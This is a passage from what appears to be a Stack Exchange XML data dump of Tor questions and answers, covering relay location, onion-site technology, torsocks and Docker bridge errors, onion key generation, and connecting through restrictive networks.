IP addresses when trying to do 'naughty' things. It's not a bad idea at all to reconfigure your router for another less commonly used address range, eg: 10.55.101.x or whatever, and if possible set it to automatically reboot once a week at a time when a reboot won't matter.&lt;/p&gt;&#xA;" OwnerUserId="38849" LastActivityDate="2024-01-08T04:32:22.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23936" PostTypeId="1" CreationDate="2024-01-15T16:34:41.830" Score="1" ViewCount="15" Body="&lt;p&gt;I'm fairly new to the concept of Tor and its network infrastructure, and I've been considering setting up a Tor node to contribute to the network. My primary motivation is to assist users in oppressed regions, particularly in the Middle East, in accessing information freely and safely.&lt;/p&gt;&#xA;&lt;p&gt;I have a couple of questions regarding the impact of a node's geographical location on its effectiveness:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the physical location of a Tor node (middle or exit node) play a significant role in how it assists users? Specifically, if I want to aid users in the Middle East, would it be more beneficial to set up a node closer to that region?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the Tor protocol designed to give any sort of geographic priority based on where users are connecting from? In other words, if someone in an oppressed country is using Tor, does the network favor nodes that are geographically nearer to them for better performance or any other reason?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I'm trying to understand how my contribution can be most effective, and any insights on this would be greatly appreciated!&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="22285" LastActivityDate="2024-01-15T16:34:41.830" Title="Does relay location matter and if so to what extent?" Tags="|location|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23937" PostTypeId="2" ParentId="23914" CreationDate="2024-01-15T16:53:13.063" Score="1" Body="&lt;p&gt;It's important to understand that the issue you're encountering with Google is not related to the version of Tor you are using. The core problem here is IP blocking, a practice commonly employed by many online services, including Google. This is a straightforward security measure where Google can block an entire range or subnet of IP addresses, often associated with Tor exit nodes, with just a short piece of code. This type of blocking is typically aimed at preventing abuse and maintaining service integrity.&lt;/p&gt;&#xA;&lt;p&gt;Given this situation, the simplest solution when using Tor and needing to perform a web search is to switch to a Tor-friendly search engine such as DuckDuckGo, Brave, or StartPage. StartPage, in particular, is interesting because it essentially acts as a proxy for Google, providing Google search results but without directly exposing your Tor connection to Google.&lt;/p&gt;&#xA;" OwnerUserId="22285" LastActivityDate="2024-01-15T16:53:13.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23939" PostTypeId="1" CreationDate="2024-01-17T02:57:45.070" Score="1" ViewCount="112" Body="&lt;p&gt;Hello i would like to know what technology is used to make a tor site, i successfully create a tor site just a single page using html, ccs and javascript, but for security reasons many users disable javascript for the client side, so is not possible to use react or vue to create tor sites?, only can run server side request for example php django? i am bit of confuse, what major technology is used for tor sites? what about blazor .Net sites? Thanks&lt;/p&gt;&#xA;" OwnerUserId="39421" LastEditorUserId="39421" LastEditDate="2024-01-17T03:01:04.633" LastActivityDate="2024-01-17T17:56:44.300" Title="How Tor sites are made, without javascript?" Tags="|website|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23940" PostTypeId="2" ParentId="23939" CreationDate="2024-01-17T17:56:44.300" Score="2" Body="&lt;p&gt;Good time of the day! The technologies used are &lt;strong&gt;exactly&lt;/strong&gt; the same as for the regular websites, because Tor is just a port forwarding proxy for a web server. However - the good case to make a website is to make it really static, so you can use engines like:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Next.JS&lt;/li&gt;&#xA;&lt;li&gt;Jekyll&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;... check the full list here &lt;a href=&quot;https://jamstack.org/generators/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jamstack.org/generators/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-17T17:56:44.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23942" PostTypeId="1" CreationDate="2024-01-22T09:31:49.737" Score="0" ViewCount="267" Body="&lt;p&gt;Sometimes,if not often,the IP address assigned to me by TOR does not work. Is there a way to choose the exit IP numbers where my traffic should exit the Tor network ? I've found a script that tells to be able to change the TOR IP number exit node in a specific time frame. It's called &amp;quot;auto-change-tor-ip&amp;quot; ; unfortunately it does not work. The IP number does not change at all. What I did has been to create a list of IP numbers generated using these websites :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dan.me.uk/tornodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dan.me.uk/tornodes&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/SecOps-Institute/Tor-IP-Addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/SecOps-Institute/Tor-IP-Addresses&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I put them inside a text file called &amp;quot;listip.txt&amp;quot; that I have saved inside the directory &amp;quot;/home/user/Downloads/auto-change-tor-ip/&lt;/p&gt;&#xA;&lt;p&gt;After that I tried to run the script called &amp;quot;auto-change-tor-ip&amp;quot; that you can find here :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/noobpk/auto-change-tor-ip/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/noobpk/auto-change-tor-ip/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but in my case it didn't work. As I said,the IP never changes (I'm running ubuntu 23.10).&lt;/p&gt;&#xA;&lt;p&gt;This is what happens,instead :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[*] Detect Platform&#xA;[INFO] - [*] Linux - KALI LINUX - UBUNTU&#xA;[INFO] - [+] Check Requirement&#xA;/usr/sbin/tor&#xA;/usr/bin/torsocks&#xA;/usr/sbin/privoxy&#xA;[INFO] - [*] Tor has been installed&#xA;[INFO] - [*] TorSocks has been installed&#xA;[INFO] - [*] Privoxy has been installed&#xA;[INFO] - [*] File listip.txt has been created&#xA;[INFO] - [*] Current IP Addresss&#xA;71.35.27.189&#xA;[INFO] - [*] Start service Tor&#xA;[INFO] - [*] Start service Privoxy&#xA;[INFO] - [*] Add to your browsers HTTP Proxy 127.0.0.1:8118&#xA;[INFO] - [*] Access Privoxy Manager http://p.p/&#xA;[INFO] - [*] Set time stamp&#xA;[?] Time to auto change ip by second (default 600s):30&#xA;[?] Number of loop (default 144):&#xA;[INFO] - [*] Change New IP&#xA;&#xA;**PERROR torsocks[44152]: socks5 libc connect: Connection refused (in socks5_connect() at socks5.c:202)**&#xA;&#xA;[INFO] - [*] Successfully - Your IP has been Changed&#xA;[INFO] - [*] New IP Addresss:&#xA;71.35.27.189&#xA;    &#xA;    ^CKeyboardInterrupt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These are the parameters that I'm using on the configuration files :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/etc/tor/torrc :&#xA;&#xA;RunAsDaemon 1&#xA;ORPort 62464&#xA;Nickname superman&#xA;BridgeRelay 1&#xA;&#xA;/etc/tor/torsocks.conf&#xA;&#xA;TorAddress 127.0.0.1&#xA;TorPort 9150&#xA;OnionAddrRange 127.42.42.0/24&#xA;&#xA;on my router I opened ports : 62464 ; 9150 ; 9050 ; 9100 ; 8118 ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Someone can help me to fix it ? thanks.&lt;/p&gt;&#xA;" OwnerUserId="17168" LastEditorUserId="17168" LastEditDate="2024-01-22T15:33:09.093" LastActivityDate="2024-01-22T17:28:34.570" Title="PERROR torsocks: socks5 libc connect: Connection refused (in socks5_connect() at socks5.c:202)" Tags="|tor-browser-bundle|exit-relays|proxy|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23943" PostTypeId="2" ParentId="23942" CreationDate="2024-01-22T17:28:34.570" Score="0" Body="&lt;p&gt;Looking at the script's source - it's a timeout happening or unhandled call by the exit node. This case is not covered by the script you've mentioned. the right thing to do is to use tor TransPort transparent proxy feature and make a full routing through it. Also it's a great idea to prevent this kind of problems is to add/write a connection monitoring script that will fire up right after &lt;code&gt;signal NEWNYM&lt;/code&gt; and before marking IP as changed&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-22T17:28:34.570" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23944" PostTypeId="1" CreationDate="2024-01-24T17:11:57.380" Score="0" ViewCount="78" Body="&lt;p&gt;below are the logs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2024-01-24 17:00:42.514 [NOTICE] New control connection opened from 127.0.0.1.&#xA;2024-01-24 17:00:42.515 [NOTICE] New control connection opened from 127.0.0.1.&#xA;2024-01-24 17:00:42.518 [WARN] Port &amp;quot;0&amp;quot; out of range&#xA;2024-01-24 17:00:42.518 [WARN] Port &amp;quot;0&amp;quot; out of range&#xA;2024-01-24 17:00:42.518 [WARN] Controller gave us config lines that didn't validate: HTTPSProxy failed to parse or resolve. Please fix.&#xA;2024-01-24 17:00:42.520 [NOTICE] New control connection opened from 127.0.0.1.&#xA;2024-01-24 17:00:42.522 [WARN] Port &amp;quot;0&amp;quot; out of range&#xA;2024-01-24 17:00:42.523 [WARN] Port &amp;quot;0&amp;quot; out of range&#xA;2024-01-24 17:00:42.523 [WARN] Controller gave us config lines that didn't validate: HTTPSProxy failed to parse or resolve. Please fix.&#xA;2024-01-24 17:00:43.865 [NOTICE] New control connection opened from 127.0.0.1.&#xA;2024-01-24 17:00:43.878 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;2024-01-24 17:00:43.878 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;2024-01-24 17:00:44.513 [NOTICE] Bootstrapped 5% (conn): Connecting to a relay&#xA;2024-01-24 17:00:46.785 [NOTICE] New control connection opened from 127.0.0.1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm trying to connect to Tor from my school WiFi and I'm stuck on the 'Establishing a Connection' screen, I've tried different bridges and have had the same result. Wondering if anyone can help me out with this.&lt;/p&gt;&#xA;" OwnerUserId="39445" LastEditorUserId="9291" LastEditDate="2024-01-27T14:10:47.583" LastActivityDate="2024-01-27T14:13:41.690" Title="Can't connect to Tor while on school wifi" Tags="|bridge|proxy|socks|connection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23945" PostTypeId="2" ParentId="23944" CreationDate="2024-01-27T14:13:41.690" Score="-1" Body="&lt;p&gt;You need your own private bridge, set it up on DigitalOcean. Also a wireguard can be attempted to go to the outside world - it breaks some DPI's through&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-27T14:13:41.690" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23946" PostTypeId="1" CreationDate="2024-01-29T08:04:28.377" Score="1" ViewCount="127" Body="&lt;p&gt;So I have a onion website and I start it by using &lt;code&gt;php -S 127.0.0.1:8080&lt;/code&gt; and &lt;code&gt;sudo -u debian-tor tor&lt;/code&gt; to start the website. I wonder if there is any solution to add a subdomain like &lt;em&gt;&lt;strong&gt;&lt;a href=&quot;http://www.mysubdomain.xxxxxxxxxxxxxxxx.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.mysubdomain.xxxxxxxxxxxxxxxx.onion&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt; and not just one, but many different subdomains.&lt;/p&gt;&#xA;&lt;p&gt;I have seen many websites in the Tor network with subdomains, and I want that and I'm open to any possible solution.&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="39461" LastActivityDate="2024-01-30T20:48:12.177" Title="How to add subdomains to my onion site" Tags="|darknet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23947" PostTypeId="2" ParentId="23946" CreationDate="2024-01-30T20:48:12.177" Score="0" Body="&lt;p&gt;There's no way to do that &lt;strong&gt;directly&lt;/strong&gt;: Tor does not support this. It seems to be lame from the classical point of view, but keep in mind what the onion domain is - it's a derivative of the key data, so there can be only one, you know ;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-30T20:48:12.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23948" PostTypeId="1" AcceptedAnswerId="23949" CreationDate="2024-01-30T21:38:24.187" Score="1" ViewCount="55" Body="&lt;p&gt;I am deploying a docker image of Tor Bridge OBFS4. I use the standard docker-compose.yml and .env file with my edits. Nothing fancy, really. After seeing that my Tor Bridge Version 4.7.10 was flagged as not recommeded I downed the container, pulled the new version and then trouble started.&#xA;After &lt;code&gt;docker compose pull &amp;amp;&amp;amp; docker compose up -d&lt;/code&gt; I see the following errors when I inspect the logs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Jan 30 21:29:42.972 [notice] Tor 0.4.8.10 running on Linux with Libevent 2.1.12-stable, OpenSSL 3.0.11, Zlib 1.2.13, Liblzma 5.4.1, Libzstd 1.5.4 and Glibc 2.36 as libc.&#xA;Jan 30 21:29:42.972 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://support.torproject.org/faq/staying-anonymous/&#xA;Jan 30 21:29:42.972 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Jan 30 21:29:42.974 [notice] Based on detected system memory, MaxMemInQueues is set to 6372 MB. You can override this by setting MaxMemInQueues by hand.&#xA;Jan 30 21:29:42.976 [notice] Opening OR listener on 0.0.0.0:12345&#xA;Jan 30 21:29:42.976 [notice] Opened OR listener connection (ready) on 0.0.0.0:12345&#xA;Jan 30 21:29:42.976 [notice] Opening OR listener on [::]:12345&#xA;Jan 30 21:29:42.976 [notice] Opened OR listener connection (ready) on [::]:12345&#xA;Jan 30 21:29:42.976 [notice] Opening Extended OR listener on 127.0.0.1:0&#xA;Jan 30 21:29:42.976 [notice] Extended OR listener listening on port 46291.&#xA;Jan 30 21:29:42.976 [notice] Opened Extended OR listener connection (ready) on 127.0.0.1:46291&#xA;Jan 30 21:29:42.977 [warn] /var/lib/tor is not owned by this user (debian-tor, 100) but by &amp;lt;unknown&amp;gt; (999). Perhaps you are running Tor as the wrong user?&#xA;Jan 30 21:29:42.977 [notice] Closing partially-constructed OR listener connection (ready) on 0.0.0.0:12345&#xA;Jan 30 21:29:42.977 [notice] Closing partially-constructed OR listener connection (ready) on [::]:12345&#xA;Jan 30 21:29:42.977 [notice] Closing partially-constructed Extended OR listener connection (ready) on 127.0.0.1:46291&#xA;Jan 30 21:29:42.977 [warn] Failed to parse/validate config: Couldn't create private data directory &amp;quot;/var/lib/tor&amp;quot;&#xA;Jan 30 21:29:42.977 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am quite sure that I did not change any volumes that are handed to docker via .yml file. Yet, somehow the error persists. The docker user did not change; other docker container run fine.&#xA;Any ideas or suggestions? Tank you!&lt;/p&gt;&#xA;" OwnerUserId="10041" LastActivityDate="2024-02-08T01:25:52.143" Title="Docker image Tor OBFS4 Bridge &quot;/var/lib/tor is not owned by this user (debian-tor, 100) but by &lt;unknown&gt; (999)&quot; after update from 4.7.10 to 4.8.10" Tags="|docker|compose|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23949" PostTypeId="2" ParentId="23948" CreationDate="2024-01-31T10:35:52.060" Score="0" Body="&lt;p&gt;Rebuild the container using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;docker-compose up -d --no-deps --build &amp;lt;your-service-name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-31T10:35:52.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23950" PostTypeId="2" ParentId="17071" CreationDate="2024-02-02T22:42:25.303" Score="0" Body="&lt;p&gt;Here a shell script to generate an onion domain with openssl-tools:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# generate an Ed25519 private key if it's not exists yet&#xA;[ ! -f test25519.pem ] &amp;amp;&amp;amp; openssl genpkey -algorithm ed25519 -outform PEM -out test25519.pem&#xA;&#xA;# OpenSSL does not support outputting only the raw key from the command line.&#xA;# You can get it in SubjectPublicKeyInfo format.&#xA;# For Ed25519 key it always consist of 12 bytes of ASN.1 header followed by 32 bytes of raw key.&#xA;# Therefore to get a raw public key we'll skip the the first 12 bytes&#xA;&#xA;pub=$(openssl pkey -outform DER -pubout -in test25519.pem | tail -c +13)&#xA;# SHA3-256(&amp;quot;.onion checksum&amp;quot; | PUBKEY | VERSION)[:2]&#xA;checksum=$(printf &amp;quot;.onion checksum%s\x03&amp;quot; &amp;quot;$pub&amp;quot; | openssl dgst -sha3-256 -binary | head -c 2)&#xA;# onion_address = base32(PUBKEY | CHECKSUM | VERSION) + &amp;quot;.onion&amp;quot;&#xA;onion_domain=$(printf &amp;quot;%s%s\x03&amp;quot; &amp;quot;$pub&amp;quot; &amp;quot;$checksum&amp;quot; | base32 | tr A-Z a-z)&#xA;echo &amp;quot;$onion_domain.onion&amp;quot;&#xA;&#xA;mkdir ./hs&#xA;echo &amp;quot;$onion_domain.onion&amp;quot; &amp;gt; ./hs/hostname&#xA;&#xA;key_raw=$(openssl pkey -outform DER -in test25519.pem | tail -c +13)&#xA;printf &amp;quot;== ed25519v1-secret: type0 ==\x00\x00\x00%s&amp;quot; &amp;quot;$key_raw&amp;quot; &amp;gt; ./hs/hs_ed25519_secret_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The generated &lt;code&gt;hs&lt;/code&gt; folder can be used as an onion service. The public key will be created by a Tor itself on start. The hostname is also not necessary.&lt;/p&gt;&#xA;&lt;p&gt;Please note that here we don't have a key expansion but still this key is working.&lt;/p&gt;&#xA;" OwnerUserId="34729" LastActivityDate="2024-02-02T22:42:25.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23951" PostTypeId="1" CreationDate="2024-02-04T20:06:27.483" Score="0" ViewCount="29" Body="&lt;p&gt;I'm looking for Tor Browser extension that would allow me to define aliaces mapping tor domain names to human readable names.  When encountaring domain names that are present in the mapping, the borwser would instead display the aliace.  That substitution would  occur in places like:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mouseover a link at the bottom left&lt;/li&gt;&#xA;&lt;li&gt;Domain column of network tab in dev tools&lt;/li&gt;&#xA;&lt;li&gt;address bar, obviously&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here are the questons:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there something like this already available?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to create? Are there API to control Tor's link mouseover contents, for example?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="39478" LastActivityDate="2024-02-06T15:09:46.110" Title="domain name substitution in Tor Browser" Tags="|tor-browser-bundle|firefox|javascript|darknet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23952" PostTypeId="1" CreationDate="2024-02-04T22:44:27.480" Score="0" ViewCount="31" Body="&lt;p&gt;I want to share a Windows LAN proxy as input for a router. A VPN service makes this proxy.&lt;br /&gt;&#xA;internet -&amp;gt; router1 -&amp;gt; windows -&amp;gt; *(proxy -&amp;gt; router2) -&amp;gt; System2&lt;br /&gt;&#xA;I implement the scenario with a VPN by sharing the VPN adapter with router2.&lt;br /&gt;&#xA;In proxy mode, I have no adapter for sharing the net.&lt;br /&gt;&#xA;The proxy is set on Lan -&amp;gt; Proxy. I don't have access to its credentials.&lt;br /&gt;&#xA;Router1: mi gig&lt;br /&gt;&#xA;Router2: Asus RT-AC86U&lt;br /&gt;&#xA;Both system operations: Windows&lt;br /&gt;&#xA;Proxy type: HTTP&lt;/p&gt;&#xA;" OwnerUserId="39480" LastActivityDate="2024-02-06T15:07:27.733" Title="Sharing an internet proxy as a router input" Tags="|windows|proxy|vpn|routers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23953" PostTypeId="2" ParentId="23952" CreationDate="2024-02-06T15:07:27.733" Score="0" Body="&lt;p&gt;Tor looks like one of possible solutions: you can utilize it's TransPort functionality and launch the Tor itself through an upstream HTTP proxy, this will work. And your &lt;code&gt;router2&lt;/code&gt; must be set as a client of TransPort transparent proxy to make it work. To make things easier to set up - use a USB ethernet that you'll pass through to a VirtualBox machine with Tor and transparent proxy, it will make things a way easier to set up&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-02-06T15:07:27.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23954" PostTypeId="2" ParentId="23951" CreationDate="2024-02-06T15:09:46.110" Score="0" Body="&lt;p&gt;I haven't seen it available, but as far as I know the Chromium add-ons API - it's possible &lt;em&gt;on a chromium level&lt;/em&gt;, Tor Browser is a Firefox, but the generic Firefox is fine for that as well...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-02-06T15:09:46.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23955" PostTypeId="1" CreationDate="2024-02-06T19:13:27.303" Score="0" ViewCount="23" Body="&lt;p&gt;I have fairly simple question regarding step 3. and step 4. in the following guide:&#xA;&lt;a href=&quot;https://support.torproject.org/apt/tor-deb-repo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/apt/tor-deb-repo/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Do they depend on each other? I tried to install Tor without step 4. and it worked. I installed it on Ubuntu. Is it really necessary? If yes how? Whats the difference. Thanks for the answers.&lt;/p&gt;&#xA;" OwnerUserId="39102" LastActivityDate="2024-02-09T00:01:32.263" Title="Keyrings used for installation" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23956" PostTypeId="2" ParentId="23948" CreationDate="2024-02-08T01:25:52.143" Score="0" Body="&lt;p&gt;There haven't been any changes to &lt;a href=&quot;https://gitlab.torproject.org/tpo/anti-censorship/docker-obfs4-bridge&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Docker file repository&lt;/a&gt;, so it seems like there's an issue with &lt;a href=&quot;https://hub.docker.com/layers/thetorproject/obfs4-bridge/0.15/images/sha256-404962dd86fc77e02b32b04a14ac70efb8e7c0b9f1ef1549ad6b682662aeb0f9?context=explore&quot; rel=&quot;nofollow noreferrer&quot;&gt;the latest docker image 0.15&lt;/a&gt;.&lt;br /&gt;&#xA;I built the docker image locally, and it is running Tor 0.4.8.10 without needing any changes.&lt;/p&gt;&#xA;" OwnerUserId="39485" LastActivityDate="2024-02-08T01:25:52.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23957" PostTypeId="1" CreationDate="2024-02-08T14:28:06.957" Score="0" ViewCount="87" Body="&lt;p&gt;I've been using tor for a while now with no issue. However a couple days ago I stopped being able to connect to tor sites. When I try to connect to a clearnet site on tor, it works perfectly fine. But when I try to connect to an onion site, I get the following error message. I've tried connecting on multiple different devices, different os's, and different networks, but nothing works.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;The connection has timed out&#xA;The operation timed out when attempting to contact &amp;quot;onionsite.onion.&amp;quot;&#xA;The site could be temporarily unavailable or too busy.&#xA;Try again in a few moments.If you are unable to load any pages, check your computer’s network connection.&#xA;If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the web.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Any ideas on what to do?&lt;/p&gt;&#xA;" OwnerUserId="39488" LastActivityDate="2024-02-08T14:28:06.957" Title="Tor unable to connect to onion sites, able to connect to clearnet sites" Tags="|configuration|connection|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23958" PostTypeId="2" ParentId="23955" CreationDate="2024-02-09T00:01:32.263" Score="0" Body="&lt;p&gt;Great point! IMHO the installation &lt;strong&gt;must&lt;/strong&gt; be done strictly from source optimized for a hardware it's executed on&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-02-09T00:01:32.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23959" PostTypeId="1" CreationDate="2024-02-09T01:40:04.690" Score="0" ViewCount="92" Body="&lt;p&gt;I was planning on writing my Tor service in PHP. But I am wondering if it would be a good idea to write it in a compiled language like C++ or Rust.&lt;/p&gt;&#xA;&lt;p&gt;The Tor service will run on a VPS hired by a hosting provider. Writing it in PHP means that anyone glancing over the content of the VPS can easily identify that a Tor service is ran and even identify what specific Tor service.&lt;/p&gt;&#xA;&lt;p&gt;If I would make the website in a compiled language the VPS would only contain a binary file. Also, when using a compiled language I could encrypt the files used by the service, so again, the content of the website is not visible at first sight.&lt;/p&gt;&#xA;&lt;p&gt;Note: I know that using a compiled language instead of PHP does not matter when the VPS would be investigated in detail. Also the encryption key I'd use for the files could be extracted from memory.&lt;/p&gt;&#xA;&lt;p&gt;But I am asking if using a compiled language would lower the chance of the VPS provider noticing that a/what specific Tor service is run on their server.&lt;/p&gt;&#xA;" OwnerUserId="39490" LastActivityDate="2024-02-15T19:07:48.513" Title="Using a compiled language instead of PHP" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23960" PostTypeId="2" ParentId="10520" CreationDate="2024-02-09T09:40:32.213" Score="0" Body="&lt;p&gt;You may not have &lt;code&gt;/usr/local/var&lt;/code&gt; created in you system. I am on a &lt;code&gt;sysvinit&lt;/code&gt;-based Linux and that was the reason why my init script&#xA;was failing to bootstrap Tor network when each time I started tor with  &lt;code&gt;service tor start&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&#xA;Starting Tor...&#xA;Feb 09 09:19:25.965 [notice] Tor 0.4.8.10 running on Linux with Libevent 2.1.12-stable, OpenSSL 3.0.11, Zlib 1.2.13, Liblzma N/A, Libzstd N/A and Glibc 2.36 as libc.&#xA;Feb 09 09:19:25.965 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://support.torproject.org/faq/staying-anonymous/&#xA;Feb 09 09:19:25.965 [notice] Read configuration file &amp;quot;/usr/local/etc/tor/torrc.sample&amp;quot;.&#xA;Feb 09 09:19:25.966 [warn] Couldn't find $HOME environment variable while expanding &amp;quot;~/.tor&amp;quot;; defaulting to &amp;quot;&amp;quot;.&#xA;Feb 09 09:19:25.966 [warn] Default DataDirectory is &amp;quot;~/.tor&amp;quot;.  This expands to &amp;quot;/.tor&amp;quot;, which is probably not what you want.  Using &amp;quot;/usr/local/var/tor&amp;quot; instead&#xA;Feb 09 09:19:25.966 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Feb 09 09:19:25.966 [notice] Opened Socks listener connection (ready) on 127.0.0.1:9050&#xA;Feb 09 09:19:25.966 [warn] Error creating directory /usr/local/var/tor: No such file or directory&#xA;Feb 09 09:19:25.966 [notice] Closing partially-constructed Socks listener connection (ready) on 127.0.0.1:9050&#xA;Feb 09 09:19:25.966 [warn] Failed to parse/validate config: Couldn't create private data directory &amp;quot;/usr/local/var/tor&amp;quot;&#xA;Feb 09 09:19:25.966 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Starting tor without giving it the configuration file does not help - tor&#xA;will default to reasonable defaults:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Starting Tor...&#xA;Feb 09 09:56:21.102 [notice] Tor 0.4.8.10 running on Linux with Libevent 2.1.12-stable, OpenSSL 3.0.11, Zlib 1.2.13, Liblzma N/A, Libzstd N/A and Glibc 2.36 as libc.&#xA;Feb 09 09:56:21.102 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://support.torproject.org/faq/staying-anonymous/&#xA;Feb 09 09:56:21.102 [warn] Couldn't find $HOME environment variable while expanding &amp;quot;~/.torrc&amp;quot;; defaulting to &amp;quot;&amp;quot;.&#xA;Feb 09 09:56:21.102 [notice] Configuration file &amp;quot;/usr/local/etc/tor/torrc&amp;quot; not present, using reasonable defaults.&#xA;Feb 09 09:56:21.103 [warn] Couldn't find $HOME environment variable while expanding &amp;quot;~/.tor&amp;quot;; defaulting to &amp;quot;&amp;quot;.&#xA;Feb 09 09:56:21.103 [warn] Default DataDirectory is &amp;quot;~/.tor&amp;quot;.  This expands to &amp;quot;/.tor&amp;quot;, which is probably not what you want.  Using &amp;quot;/usr/local/var/tor&amp;quot; instead&#xA;Feb 09 09:56:21.103 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Feb 09 09:56:21.103 [notice] Opened Socks listener connection (ready) on 127.0.0.1:9050&#xA;Feb 09 09:56:21.103 [warn] Error creating directory /usr/local/var/tor: No such file or directory&#xA;Feb 09 09:56:21.103 [notice] Closing partially-constructed Socks listener connection (ready) on 127.0.0.1:9050&#xA;Feb 09 09:56:21.103 [warn] Failed to parse/validate config: Couldn't create private data directory &amp;quot;/usr/local/var/tor&amp;quot;&#xA;Feb 09 09:56:21.103 [err] Reading config failed--see warnings above.&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I got this output when trying to start tor with &lt;code&gt;/etc/init.d/tor&lt;/code&gt; (disabling configuration file with commenting out 